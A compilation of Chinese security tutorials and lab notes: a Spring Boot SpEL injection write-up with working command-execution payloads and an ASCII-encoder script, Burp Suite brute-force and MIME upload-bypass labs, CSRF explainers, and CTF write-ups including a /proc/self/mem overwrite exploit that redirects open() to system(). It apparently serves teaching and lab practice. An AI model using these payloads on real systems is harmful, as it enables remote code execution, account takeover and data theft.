记一次Spring表达式注入
该漏洞仅影响 Spring Boot 1.2.8之前版本，Spring Boot 1.2.8版本之后已得到修补。
在spring中任何反映用户输入的Whitelabel错误页面都将会容易受到攻击。这是因为用户的输入被视做为Springs Expression Language（SpEL）。在一次测试中，我遇到了一个特殊的URL，该URL触发了spring中的Whitelabel Error页面表达式注入。
https://%3Cdomain%3E/BankDetailForm?id=abc${12*12}abc<>执行结果：
spring中的Whitelabel页面将输入的abc${12*12}abc显示为abc144abc。随后尝试执行一个id命令并显示结果。尝试了以下测试：
https://%3Cdomain%3E/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(%27id%27<>)}
payload：${T(java.lang.Runtime).getRuntime().exec('id')}
执行结果：
输入的表达式原样输出，对比David的文章(https://secalert.net/#cve-2016-4977)，一切都显示正确，但是我仍然没有得到想要的输出。尝试了良久之后，我决定本地搭建一个Springs应用程序尝试创建相同的场景。我尝试了基本操作，{5*5}并在错误页回显出25的结果。然后尝试执行id命令，依旧没有执行。通过调试跟踪代码的堆栈信息如下：
可以清楚的看到包含id命令的单引号被URL编码。得出原因之后，大致的解决方式有两种：
1、通过在错误的代码中查找字符，然后使用substring()将字符串一个个截取来传递给exec()方法。
2、通过找到一种无需使用双引号或单引号就可以传递要执行的字符串的方法。
这里我们采用第二种方法。如果我能够找到可以输入id参数的方法，那么cat /etc/passwd也将会迎刃而解。在Java中支持嵌套函数的使用。
经过对一些Java类调试之后发现了以下内容：
java.lang.Character.toString(105)
-> prints the characer 'i'
i字符我们已经得到，那么接下来我们通过同样的方法合并字符“ d”即可，我们使用concat()方法来进行嵌套d字符，并与i字符合并。
java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100))
-> prints the characters 'id'
最终得到的有效载荷如下：
https://%3Cdomain%3E/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(T(java<>.
lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}
执行结果如下所示：
通过getRuntime()方法执行我们传入的参数，现在，我们已经有了一个回显型的RCE，可以使用它来执行命令。接下来尝试执行cat /etc/passwd并将结果打印到Whitelabel Error页面上。这意味着对于每个字符都需要通过ASCII编码来进行传递。每个字符的传入格式如下：
concat(T(java.lang.Character).toString(<ascii value>))
由于字符过多，我们通过python脚本来实现此功能：
#!/usr/bin/env python
from __future__ import print_function
import sys
message = raw_input('Enter message to encode:')
print('Decoded string (in ASCII):\n')
for ch in message:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')
要获取cat /etc/passwd命令的结果，我们通过使用IOUtils类调用toString()方法将输入流传递给此方法，并获取相应结果。
最终payload如下：
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).conc
综上所述，通过Apache IOUtils库，并将cat /etc/passwd使用字符类转换为ASCII字符，将转换后的字符传递给exec()方法执行。并获得输入流，将其传递给toString()IOUtils类的方法解析。
翻译来源：http://deadpool.sh/2017/RCE-Springs/
相关实验--https://www.yijinglab.com/expc.do?ec=ECID07d9-3ccd-4c90-8a09-b980d8cd7858&pk_campaign=heetian-wemedia
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块，非法用户可通过访问默认的执行器端点（endpoints）来获取应用系统中的监控信息从而导致信息泄露的事件发生
BurpSuite实战——蚁景网安实验室学习笔记
burpsuite是一款功能强大的用于攻击web应用程序的集成平台，通常在服务器和客户端之间充当一个双向代理，用于截获通信过程中的数据包，对于截获到的包可以人为的进行修改和重放。
此BurpSuite实战主要包括两个实验：分别是使用burp进行暴力破解和Burpsuite简介及MIME上传绕过实例。
链接：https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014112610353900001&pk_campaign=heetian-wemedia
实验一：使用burp进行暴力破解
一、实验简介
实验所属系列：web安全
实验对象：本科/专科信息安全专业
相关课程及专业：网络安全，计算机网络
实验类别：实践实验类
二、预备知识
1.Burp的工作模式：
在没有burp之前，客户端使用浏览器直接与服务器进行通信。有了burp之后，burp在客户端与服务器之间充当代理。这样，浏览器发送给服务器的请求就会被burp进行捕获，而burp和wireshark这种审计类工具相比，其强大之处在于不仅可以做审计工作，更可以对数据包进行修改并发送出去。使用了burp的结构如下图所示。
burp结构
2.暴力破解：
一般使用暴力破解都有两种原因：
● 对这个漏洞的测试，人是可以完成的，即可穷举。
●人可以完成，但是代价太大，或者太浪费时间。
正是出于这样的问题，一些软件的出现帮助人完成了这些测试，这就是暴力破解的真正好处。在业界曾经有这样的一种看法，对于暴力破解的使用都不屑一顾，因为大家觉得技术含量太低。但是，从实际的情况来看，因为用户使用弱口令情况太普遍，导致很多漏洞使用暴力破解都可以轻松拿下。
暴力破解，最有价值的地方是在对字典的构造上，这是一门技术，需要长期的经验积累。
三、实验目的
通过该实验掌握burp的配置方法和相关模块的使用方法，对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题，以此加强网站安全。在此郑重声明，本教程只做教学目的，严禁使用本教程对线上网站进行破坏攻击。
四、实验环境
服务器：windows xp sp3 ip地址：10.1.1.163
测试者：windows xp sp3 ip地址随机
五、实验步骤
步骤一：
Burp是个非常强大的web分析工具。burp在浏览器和服务器之间充当了一个双向代理。这样，就可以把用户或者服务器通信过程中产生的数据包给截获下来，让专业人员去分析。（关于Burpsuite的部分简介可以参考实验二）
本次实验，需要完成的任务如下：
●配置burp和浏览器代理，使burp能够正常运行；
●学会使用burp中的compare模块；
●学会使用burp中的repeat模块；
●学会使用burp中的intruder模块。
此实验由蚁景网安实验室平台提供了一个存在暴力破解隐患的网站。
配置burp和设置ie代理：
在预备知识中我们了解到，burp在浏览器(客户端)是以代理的方式存在。因此，如果想要我们发送的包被burp截断，就需要双方协商好一个监听端口。
首先，双击打开桌面的burp进入主界面。
1.设置burp监听端口：
选择proxy(代理)，进入之后选择options。我们看到在Proxy listeners处burp为我们默认添加了一个本地8080端口处的监听项。当然，你也可以自拟一个新的监听端口，在左侧点击ADD即可设置。
2.配置浏览器的代理项：
这里以系统自带的ie为例（chrome和firefox用户可以使用代理插件进行设置）
使用win+R键打开命令窗口，输入inetcpl.cpl进入ie设置。
在连接选项卡中，选择局域网设置：
输入我们为burp指定的监听端口号：
这时候，我们就建立了基本配置。
3.测试：
在burp中打开intercept is on：
用浏览器访问：10.1.1.163/crack,我们会在burp中看到：
这表明我们已经成功的截获了来自浏览器的请求。
点击forward就可以把这个请求发送给服务器，服务器会将结果返回给浏览器中，并将响应在burp中记录下来。Drop会将这个包丢掉，即不会发送到服务器端。
步骤二：
熟悉comparer，repeater，intruder模块。
1.compare模块：
compare模块可以将不同的数据包(无论是请求包还是响应包)进行比较。
首先，我们添加一条请求到compare模块去。
在已经截取的数据包上面右键，选择send to comparer：
这时候，我们会看到在comparer模块，上下两个界面中同时多出来了一条记录：
使用同样的方法，我们在为comparer模块添加另外的一条记录：
我们打算使用1和2进行对比，在两个视图中选择1和2（顺序无所谓），然后点击右下角的compare word（bytes是指文件按照字节流来进行比对）：
从图中我们可以看到，窗口标题提示了我们两个文件有多少处不同。左下角的图例告诉了我们右侧和左侧相比，哪些是添加的，哪些是修改的，哪些是删除的。非常直观。
2.repeater模块：
有时候我们需要向服务器发送多次相同的请求来测试服务器的响应。这里，我们只需要将burp截取到的请求通过右键send to repeater就可以在repeater中进行操作了。
进入到repeater之后，点击go按钮，右侧就会返回服务器的响应。
Go的次数没有限制，点击多少次go，burp就会把当前的请求页向服务器发送多少次。
使用repeater的目的是进行重放攻击测试，看服务器是否会对重放测试做出反应。
3.intruder模块：
这个模块是burp非常强势的地方，也正是我们课中说到的暴力破解主要使用的模块。
（1）同样的，在已经截获的请求页上右键，选择send to intruder。
进入intruder模块。会看到四个选项卡，分别是Target，Positions，Payloads，Options。
Target主要是设置暴力破解访问的host地址和对应的端口号：
Positions设置是选择我们要暴力破解的位置。在默认情况下，burp会自动将所有的变量都勾选上。实际操作中，我们往往是针对单一点，选择“clear$”，此时所有默认的爆破点都已经消失。
（2）用鼠标选中需要暴力破解的变量的值。然后右侧选择“add$”，这样我们就添加了一个爆破点，这个爆破点的payload位置是在两个“$”之间的部分。
Payloads设置：
选择怎样的字典或者payload，是这个模块要做的事情。Payload type下拉列表框为我们提供了常用的payload 类型，视情况选择即可。
如果你有合适的字典，在选择了payload type为simple list后，接下来你就可以在payload options中选择你要加载的字典文件，点击load即可。
有时候我们需对payload进行二次处理，比如md5加密啊，base64加密啊之类的，burp当然也考虑到了这一点。在payload processing中集成了一些常见的算法。
点击add，在弹出的窗口中就可以根据需要选择了。
Options中有关于其他细节的设置，比如攻击时使用的线程数，关于攻击的一些存储设置之类。这里就不再赘述。
步骤三：
下面尝试对密码的爆破：已知用户名，密码为50-100之间的某个数。
1.访问http://10.1.1.163/crack/，这是一个登录界面：
2.使用图中账号登录，密码任意。完成表单后提交。这时候burp会截取我们的请求：
3.在该请求页上右键选择send to repeater，我们来进行重放测试。点击go，右侧返回服务器的响应。多次go之后发现，服务器返回的长度和内容都没有发生变化，都会提示sorry：
也就是说，服务器对多次测试并没有加以限制，因此我们可以使用暴力破解了。
为了再次验证，我们在登陆界面再次输入一个不同的密码。在我们将两次请求的响应使用comparer去比对一下。（在proxy中选择子选项卡HTTP History，选择方法为post的两个历史记录，点击每一条post记录，下方会看到不同的post数据时，这应该就是我们的两次不同密码的请求记录，右键选择send to comparer(response)）：
从图中我们可以发现，经过对两次不同的请求返回结果进行对比，burp为我们在左上角标出了2项不同，但都是体现在时间上，其余都相同。所以可以使用暴力破解。
4.进入到intruder之后，先点击Clear$，然后选中我们刚才填写的pas字段值，点击Add$。这样，就确定了爆破点是pas位置。
5.打开payload选项卡，payload type选择数字：
6.选择数字之后，我们填写数字范围。因为是已经暗示了密码范围，所以我们选择50到100.顺序生成，每步加1(step设置)：
7.开始攻击：
8.这时候我们看到了攻击测试界面。我们重点关注payload和length，这里的length表示的是服务器的响应长度。
从理论上来分析，登陆成功和登陆失败，返回的长度应该不同，这能方便我们找出正确密码。右下角的进度条显示了我们的进度。
我们发现，在测试的50个payload中，payload为69的返回值不同与其他payload返回值。我们怀疑69就是答案。我们来观察一下。
在payload为69的request上双击，进入后选择response。浏览response，直到发现：“you got it.”
Yes，you catch the flag!成功获取密码。
六、答题
注：请在特定的环境下进行实验（如虚拟机）。切记不要对他人的网站进行实验，如造成不利影响或产生违法行为，一切后果自负。
实验二：Burpsuite简介及MIME上传绕过实例
一、实验简介
实验所属系列：web安全
实验对象：本科/专科信息安全专业
相关课程及专业：信息网络安全概论
实验时数（学分）：2学时
实验类别：实践实验类
二、预备知识
1.了解burpsuite：
Burp Suite是用于攻击web应用程序的集成平台。包含了许多工具，并为这些工具设计了许多接口，以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP消息，持久性，认证，代理，日志，警报的可扩展的框架。
在一个工具处理HTTP请求和响应时，它可以选择调用其他任意的 Burp 工具。例如，代理记录的请求可被Intruder用来构造一个自定义的自动攻击的准则，也可被 Repeater 用来手动攻击，也可被 Scanner 用来分析漏洞，或者被 Spider(网络爬虫)用来自动搜索内容。
Burpsuite主要有如下模块/功能：
Target，显示目标站点目录结构
Proxy，是一个拦截HTTP/S的代理服务器，作为一个在浏览器和目标应用程序之间的中间人，允许你拦截，查看，修改在两个方向上的原始数据流。
Spider，是一个应用智能感应的网络爬虫，它能完整的枚举应用程序的内容和功能。
Scanner，是一个高级工具，执行后，它能自动地发现web 应用程序的安全漏洞。
Intruder，是一个定制的高度可配置的工具，对web应用程序进行自动化攻击，如：枚举标识符，收集有用的数据，以及使用fuzzing
技术探测常规漏洞。
Repeater，是一个靠手动操作来触发单独的HTTP 请求，并分析应用程序响应的工具。
Sequencer，是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
Decoder，是一个进行手动执行或对应用程序数据者智能解码编码的工具。
Comparer，通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。
Extender，可以让你加载Burp Suite的扩展，使用你自己的或第三方代码来扩展Burp Suit的功能。
Options，对Burp Suite的一些设置。
2.了解服务端MIME类型检测：
服务端MIME检测类型图片上传过程中http包的Content-Type是否为image/jpeg，如果是就可以成功上传。相关源代码：
可以看到红色区域中的if语句只对Content-Type和图片的大小做了判断。
三、实验目的
通过本实验了解利用Burpsuite绕过MIME上传检测的过程。
四、实验环境
服务器：win2003，IP地址：10.1.1.59:81
测试者：win7，IP地址随机
五、实验步骤
步骤一：
1.使用Burpsuite的代理功能：
访问http://10.1.1.59:81/，输入用户名：admin，密码：password，打开burpsuite，设置好浏览器代理，点击sql injection：
截获的数据包如下：
单击右键，如下图所示：
Send to XXX分别表示将截获的数据发送到各个模块，然后在各模块下进行下一步操作。
下拉菜单，点击Send to Spider切换到Spider模块下，burpsuite会自动对网站进行爬行，切换到Control选项卡下可以查看爬行的状态和设置爬行范围，Options选项卡中可以进行爬行的设置等。一段时间后切换到Target模块查看结果：
Change request method表示更改请求方式，如之前使用的GET请求，点击Change request method后为变为POST：
Don’t intercept requests表示不截获请求，比如我们选择To this host，在Intercept is on时burp也不对此主机的请求做拦截。我们就可以正常访问该网页了。
然后切换到Proxy的Options选项卡下，查看Intercept Client Requests，已增一条记录：
Do intercept下Response to this request功能可用于对服务端发送过来的信息做修改来欺骗浏览器。
如果开启URL-encode as you type表示对你输入的&，=等字符将会被URL编码替换。
2.Target模块：
这个模块下有两个选项卡，Site map主要是将爬行的站点以树形结构显示，Scope主要是用来设置范围进行过滤。
有时当我们对一个目标网址进行测试时，Site map下会出现许多不相关的网址，我们可以使用Filter来过滤，只留下目标网址：
点击Filter，勾选Show only in-scope items：
此时Site map下只剩下目标网址了：
然后我们随便点击一个目录又会出现许多功能：
点击Remove from scope，比如我此时选择css，该目录就会消失，对应的Scope选项卡下便会多出一条记录：
点击Spider this branch，burp就会对该目录进行爬行。
点击Expand branch来展开分支，其他功能不是很常用，有兴趣可以自行研究哦。
Site map选项卡右边可以看到一些请求的信息，在Host下可以选择对链接进行高亮显示，comment下可以添加注释，针对单个链接也可进行右键操作。
步骤二：
使用burpsuite上传绕过服务端MIME类型检测：
1.首先在桌面上新建一个1.txt，此处我写入“hello_world”。因为目标主机只允许我们上传jpg文件，那么我们下载就要绕过这个限制，上传一个txt文件上去：
2.打开http://10.1.1.59:81/，输入用户名：admin 密码：password，点击Upload：
3.设置好浏览器代理后，我们选择刚才创建的txt文件进行上传。此时burpsuite已经截获到了数据包，我们右击选择“send to reprater”：
4.切换到Repeater中将Content-Type后的text/plain修改为image/jpeg：
5.点击go，从右侧可看到已经上传成功，在右下方输入1.txt进行搜索刚才上传的图片：
6.关闭代理，打开搜索到的路径：
六、答题
注：请在特定的环境下进行实验（如虚拟机）。切记不要对他人的网站进行实验，如造成不利影响或产生违法行为，一切后果自负。
你的钱为什么会被转走，这篇文章告诉你答案
本篇文章内容，主要是关于CSRF。
01 什么是CSRF？
CSRF，全称Cross-site request forgery，翻译过来就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。
CSRF攻击原理如下：
■ 用户打开浏览器，访问登陆受信任的A网站
■ 在用户信息通过验证后，服务器会返回一个cookie给浏览器，用户登陆网站A成功，可以正常发送请求到网站A
■ 用户未退出网站A，在同一浏览器中，打开一个危险网站B
■ 网站B收到用户请求后，返回一些恶意代码，并发出请求要求访问网站A
■浏览器收到这些恶意代码以后，在用户不知情的情况下，利用cookie信息，向网站A发送恶意请求，网站A会根据cookie信息以用户的权限去处理该请求，导致来自网站B的恶意代码被执行。这样太过于官方，简单来说就是通过构造URL造成攻击的就是CSRF，用目标的cookie来执行我们的攻击。
02 你的钱为什么会被转走？
现在有张三和李四进行转账。
1、张三给李四100块，执行的操作是：
xxx/transfer.php?from=张三&money=100&to=李四
注意此时的张三没有把页面关闭掉。
2、黑客想把钱转给自己，执行的操作是：
xxx/transfer.php?from=张三&money=100&to=黑客
很明显会失败，这是因为张三在登录系统的时候会通过cookie，把自己的session传递给后台服务器。此时系统检查当前的session中的身份，发现不正确就拒绝了。
3、黑客继续想办法，使用不良网站诱导：
网站的连接很有颜色感，让张三欲罢不能，于是点击了诱导链接A。此时返回给黑客的信息就是：
如果此时张三刚刚给李四转完钱，并且页面还没关闭，就点击了这个链接，那么就会执行上面的操作。这是因为此时的黑客身份就是张三的信息，银行不知道以为是张三，于是接受了请求。
03 如何挖掘CSRF漏洞
CSRF用于越权操作，漏洞在有权限控制的地方，其构造URL或者get提交，都可以测一测。
黑盒
打开非静态操作的页面，抓包查看是否存在token，如果没有token，直接请求这个页面，不带referer，如果返回的数据是一样的话，那说明很有可能有CSRF漏洞了。
白盒
读代码的时候看看核心文件里有没有验证token和referer相关的代码。可以直接搜索token关键字。
使用工具——半自动检测CSRF
使用CSRFTester教程
https://www.sogou.com/link?url=DSOYnZeCC_p8qT7bQ6Ez_IrwkGJvRRLdYQYE4_vHjb03UFOatHCO_d9GQw9zhM_U
下载地址：http://www.mediafire.com/file/3j9kbyd3rtardq5/CSRFTester-1.0-src.zip/file
CTF挑战赛-蚁景网安实验室
[TOCCTF挑战赛-蚁景网安实验室逆向解析]
http://www.yijinglab.com/CTFrace.html1.逆向100
修改后缀为.apk
安卓模拟器打开，发现要求输入Password
用Android逆向助手打开，dex转jar，发现明文password
描述输入，得到flag。
2.逆向200
题目描述: pwd1_pwd2在这里插入图片描述疑似有两层密码，查壳无壳。
先求pwd1
OD打开，查字符串， 在这里插入图片描述双击“You passed level1!”,进入代码窗口。F2下断点，F9运行，程序终止，发现操作错误。
重新运行，双击上一行文本“%20s”。下断点，运行，F8单步，
程序运行，随便输入1111。F8单步，发现字符串。
求pwd2
既然下面%20s为第一层，则同理第二层为最上面的%20s，双击跟随到代码窗口。
在求出pwd1时，新出现一个API：
此为百度截图 在求pwd2时，下断点并运行，发现最后程序终止，我们无法到达想要去的函数。
………………………………………………………………………………
为复制，
AddVectoredExceptionHandler 将一个指向函数的指针作为参数，把这个函数的地址添加到已注册的异常处理程序链表中。
那么这里的int3异常会交给异常处理程序链表中第一个处理函数处理，假如调试器处理这个异常，我们就到不了那里了，所以od的设置一定要忽略所以异常，让程序或系统自己处理。
…………………………………………………………………………
重新运行程序，
004215AB处下断点，运行，输入第一层密码，F8单步，程序开始运行，随便输入密码2222.F7单步进入。
跳到401547.
f7跟进，我们可以看到作者设定的常量了，
首先判断是否到达字符串的结尾，这里作者设定的是二进制的02为结尾。
分析，将je 改成jmp,直接在cmp处下断点，不断f9，记下al中的每个字母，即为pwd2.
flag:r0b0RUlez!_w3lld0ne
西湖论剑 Flagshop 分析复现
前言
比赛时候没能做出来，其实这道题就是一道pwn题。后面与p w n师傅讨论分析EXP分析还原了解题过程。学到了很多，也希望分享给大家。
任意文件读取
抓包或者看源码就会发现有一个SSRF，但是没有权限读flag，测试发现存在一个readflag的elf文件。
读取题目全部源码：
backend.php
<?php
$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";
if (isset($_GET['writefile'])) {
$fp = fopen($_GET['writefile'], "a");
fseek($fp, $offset);
fwrite($fp, $buffer);
fclose($fp);
}
if (isset($_GET['readfile'])) {
echo file_get_contents($_GET['readfile']);
}
?>
index.php
<?php
if(!isset($_COOKIE['sandbox'])) {
$uuid = system("/var/www/html/copy");
setcookie("sandbox", $uuid);
header("Location: sandbox/".$uuid);
} else {
header("Location: sandbox/".$_COOKIE['sandbox']);
}
文件写入
◆ 从源码可以知道，这里是存在一个文件写入的问题，但是测试和对copy这个elf文件反编译发现，网站根目录是没有写入权限的。但是测试发现tmp目录是可写的。
◆ 做到这里基本没思路了。后面看了下Nul1的wp,发现这就是这道pwn题改的。(https://www.pianshen.com/article/4537767804/)
内存泄露和动态链接库
/proc/self/maps
包含了当前进程映射的内存区域以及他们的访问权限.文件格式如下:
address perms offset dev inode pathname
08048000-08056000 r-xp 00000000 03:0c 64593 /usr/sbin/gpm
08056000-08058000 rw-p 0000d000 03:0c 64593 /usr/sbin/gpm
08058000-0805b000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:0c 4165 /lib/ld-2.2.4.so
40013000-40015000 rw-p 00012000 03:0c 4165 /lib/ld-2.2.4.so
4001f000-40135000 r-xp 00000000 03:0c 45494 /lib/libc-2.2.4.so
40135000-4013e000 rw-p 00115000 03:0c 45494 /lib/libc-2.2.4.so
4013e000-40142000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0
◆ 通过SSRF漏洞直接读取/proc/self/maps来泄露当前程序调用的到动态链接库和内存地址。
◆ 直接把/lib/x86_64-linux-gnu/libc-2.19.so通过SSRF读取然后下载下来，通过readelf来查看system的地址。可以得知system函数的偏移是：0x0000000000046590
◆ 我们将动态链接库的地址加上system的偏移就能计算出system函数的地址。
<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
//system函数结果：0x7ffff5f86590
?>
计算偏移
◆ 我们知道system函数的地址，我们就可以将open函数的地址替换为system函数的地址，我们在file_get_contents传入参数为系统命令实际执行的却是system函数，这样我们将readflag的结果输出到文件，或者反弹shell。这样我们下一步就是要计算open函数在二进制文件中的实际偏移，最后直接修改内存。
◆ 这里需要用到/proc/self/exe
在Linux2.2的内核及其之后,/proc/pid/exe是直接执行的二进制文件的符号链接.这个符号链接能够被取消.尝试打开这个文件就相当与打开了二进制文件,甚至可以通过重新输入/proc/pid/exe重新运行一个对应于pid的二进制文件.在一个多线程的程序中,如果主线程已经退出了,就无法访问这个符号链接.
在Linux2.0及其之前,/proc/pid/exe是指向当前进程执行的二进制文件.
同样我们之间将其搞下来，用下面脚本来计算open函数的偏移。
<?php
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
$open_php = parseelf('exe', true);
//$maps = file_get_contents('lib.txt');
//$pie_base =(hexdec(explode('-', $maps)[0]));
echo $open_php;
//结果：15333784
?>
修改进程内存
/proc/self/mem是进程的内存内容，通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取，需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域，只有读取的偏移值是被映射的区域才能正确读取内存内容。
◆ 也就是说我们刚才从maps和动态链接库计算出system的地址需要修改mem来使得open的地址变成system的地址。既然我们偏移地址和文件偏移都算出来了直接构造payload即可。
backend.php?readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784
◆ 直接读取/tmp/i_o_u_hlq就可以直接getflag
参考
Nu1L 西湖论剑wp
https://blog.spoock.com/2019/10/08/proc/https://www.pianshen.com/article/4537767804/相关实验--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111814141500001&pk_campaign=heetian-wemedia
(CTF PWN进阶训练实战，基于两次缓冲区溢出来获取服务器控制权限。)
CSRF攻击实验 ——蚁景网安实验室学习笔记
实验链接
本实验以PHP和Mysql为环境，展示了CSRF攻击的原理和攻击过程。通过实验结果结合对攻击代码的分析，可更直观清晰地认识到Web安全里这种常见的攻击方式。
链接：http://www.yijinglab.com/expc.do?ce=5984201a-5b7e-42c2-959b-6e4cdfdb932c
实验简介
实验所属系列：web攻防
实验对象：本科/专科信息安全专业
实验类别：实践实验类
预备知识
● 浏览器有关Cookie的设计缺陷
当前主流的Web应用都是采用Cookie方式来保存会话状态，但是浏览器在引入Cookie时却忽视了一项非常重要的安全因素，即从WEB页面产生的文件请求都会带上COOKIE。只要请求域与Cookie信息所指定的域相一致，无论是访问Web页面，还是请求图片，文本等资源，用户在发出请求时都会带上Cookie。
Cookie的这一特性使得用户始终以登录的身份访问网站提供了便利，但同时，也方便了攻击者盗用身份信息执行恶意行为。
● 什么是CSRF
CSRF（Cross-site request forgery）跨站请求伪造，也被称为“one click attack”或者session riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。
用户登录并访问了一正常网站，登录成功后，网站返回用户的身份标识Cookie给用户。当用户访问到恶意网站时，恶意网站强制用户去向正常网站发送恶意请求。由于用户此时拥有正常网站的Cookie，所以就相当于攻击者盗用了用户身份，去访问了正常（目标）网站。
一次完整的CSRF攻击，需要受害用户需要完成两个步骤：
● 登录正常网站，并在本地生成Cookie。
● 在不退出正常网站的情况下，访问恶意网站。
● HTTP GET和POST请求区别解析
URL全称是资源描述符，我们可以这样认为：一个URL地址，它用于描述一个网络上的资源，而HTTP中的GET，POST，PUT，DELETE就对应着对这个资源的查，改，增，删4个操作。GET一般用于获取/查询资源信息，而POST一般用于更新资源信息。
Get 方法通过 URL 请求来传递用户的数据，将表单内各字段名称与其内容，以成对的字符串连接，置于URL 后，如
http://www.xxx.com/index.php?username=liming&password=123456&
数据都会直接显示在 URL 上，就像用户点击一个链接一样。
Post 方法通过 HTTP Post 机制，将表单内各字段名称与其内容放置在 HTML 表头(header)内一起传送给服务器端。
GET与POST方法实例：
GET /127.0.0.1?username=liming&password=123456 HTTP/1.1
Host: http://www.xxx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1
Connection: Keep-Alive
POST / HTTP/1.1
Host: http://www.xxx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Connection: Keep-Alive
实验目的
● 了解Cookie在设计方面存在的缺陷
● 掌握CSRF攻击的原理
● 掌握Get和Post形式CSRF攻击脚本的写法
实验环境
两台Windows XP机器（分别安装有XAMPP集成部署环境），两台机器网络连通
一台机器部署正常网站（留言板）10.1.1.189
一台机器部署恶意网站 10.1.1.23
部署正常网站的主机环境中有Chrome浏览器（或其他方便抓包分析的浏览器或工具）
实验步骤
步骤一
任务描述：实验基于Get形式的CSRF攻击
一、在target主机机中登录留言板
打开浏览器，登录留言板网站：http://10.1.1.189/csrf-get-target/login.php
进入后，输入用户ID admin与密码 123456 登录，登录后可看到admin用户的留言内容。
二、留言并分析留言数据包
点击添加留言按钮进入留言添加页面：
按F12按钮打开Chrome浏览器的调试工具（或打开其他等效的Http调试软件），切换到Network标签一栏，选中Preserve Log选项，准备抓取留言数据包。
在输入框中分别输入标题和内容，点击add按钮。在调试窗口中点击”add.php?title=…”一项查看刚才发送留言请求的Http协议内容，如下图所示：
从抓包截图中可以看到，我们在留言板中输入的内容，附在页面请求地址中发给了服务器，这种参数字段存放在URL中的请求叫做GET请求。即我们首先尝试的是基于GET请求形式的CSRF攻击，下节会介绍POST请求形式的CSRF攻击。
同时我们发现用户在添加留言请求中，附带了用户身份标识Cookie字段。当然这里为演示用，我们直接把明文用户名和密码当作了Cookie值。
三、登录恶意网站并查看CSRF攻击效果
用户在浏览器中新建一标签页，访问恶意网站： http://10.1.1.23/csrf-get-attacker/ attacker.html
